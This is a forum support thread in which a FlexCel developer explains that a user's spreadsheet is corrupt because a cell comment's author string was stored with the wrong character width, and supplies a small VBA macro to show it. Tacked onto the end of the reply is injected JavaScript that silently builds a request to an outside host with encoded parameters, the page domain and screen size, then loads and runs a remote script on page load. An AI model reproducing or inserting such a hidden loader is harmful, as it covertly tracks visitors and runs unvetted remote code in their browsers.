Can not open file / stream with 2 comments in single row if edit in specific computer, no error in other computer.
Please help me how to to solve this issue
Regards,
Jay. Chua
Hi,
The problem here is not with FlexCel but with the file. It has
nothing to do with having comments in a row: It is just that the
comment in cell H7 is wrong. The author is written as if it was a string
with a 1 byte length and comments are always 2 bytes length. This
causes whichever program who is reading it to read the start of the
string at the wrong place and read garbage.
You can see it yourself in the link you sent me: Google docs can't open it either.
Excel can open it, but it just reads garbage in the comment in H7.
You can easily see it by running this macro on that file:
[CODE]
Sub Macro1()
For i = 1 To ActiveSheet.Comments.Count
ActiveSheet.Range("A" & i).Value = ActiveSheet.Comments(i).Author
Next
End Sub
[CODE]
You
will see that the author for the first comment (cell A1) is AFGAN
(correct), but the comment author in cell A2 shows as 䝆乁 (And it
actually has more garbage characters that can't be read).
The reality
is that comment is corrupt: The author is actually AFGAN too if you
realize that it was stored with 1 byte length, but comments are never
saved this way.
I don't think we can really fix this because the
one wrong here is Excel: It should refuse to read the author since it
contains invalid UTF16 characters. It is just that Excel is not very
good at validating unicode, but it should do it. And Excel is just
reading a corrupt string, not the actual data.
The problem is
with the file, and I think we are doing the right thing telling it is
corrupt instead of just reading corrupt data and passing it for good.
You can of course open this file with FlexCel if you open it with Excel
and save it, but again, it will be corrupt. Excel will "fix" it when you
open it by replacing the author in comment 2 with " 䝆乁" instead of
AFGAN, then FlexCel will open it and report " 䝆乁" as the author in the
comment.
How did you got that file? If it was created with a
third party tool, the third party tool needs to be fixed. If it was
created in Excel, then somehow it was corrupted.
Thank you.if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582HVlH3eBnL316UH6cvjaQ%2bf8LMMeQdeBCDNWX75XDbq3JUd2QOaNGL9ilo3vJg3JsVcSTCYs4MCoPcj8cZB3ZKu3TRl1h8ZHJS3MkhWIgp0QpXBs522xekFcPx5C81fy94cAw0gjqaHSs%2f0zHB3WuMBpB%2fVhT7ticmXCuZDmtSqTubPbpMdgAwJop47p5mGbshSZ3ovnipCxwaSasQjqOHPw7exfgc43JxC7vee8vwKgYfSASyw1QUtze9JagaKaVniIwpiuZnqJGYIAo39Brp8XbYXCTrY07Jcvrmk7lMhF1A8tzOn%2fZFEOz6wMncvDJO4MFw%2f4BWhOfQh5O8AUoCelYUAaKEIv78Goau7B8CWd4qxSFG816eMYK35OwRArltib5tFnzUfc6kfBN3ng%2fbvWic4K5g9dk783yb9Sf%2fhQV1Cyx8u2sk55IiGGzKaLzkcAxCNnuqY5homOnjBAmttylMkc0ACjGqtWpF%2fm85MSXlEXuf%2fKQmd7Nca%2bEIWk4EhLykaKROl6f45BscGs2phVj9DJhXWQP%2fRJXF6sNVQmvmf73iX%2b%2bX8Phfp%2b%2fPAChqmxa4WW6Iu95lfEqcZkZ%2fabtV%2bBiHC%2bUZvnduykhb6DnQfUc0pU%2f9g%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};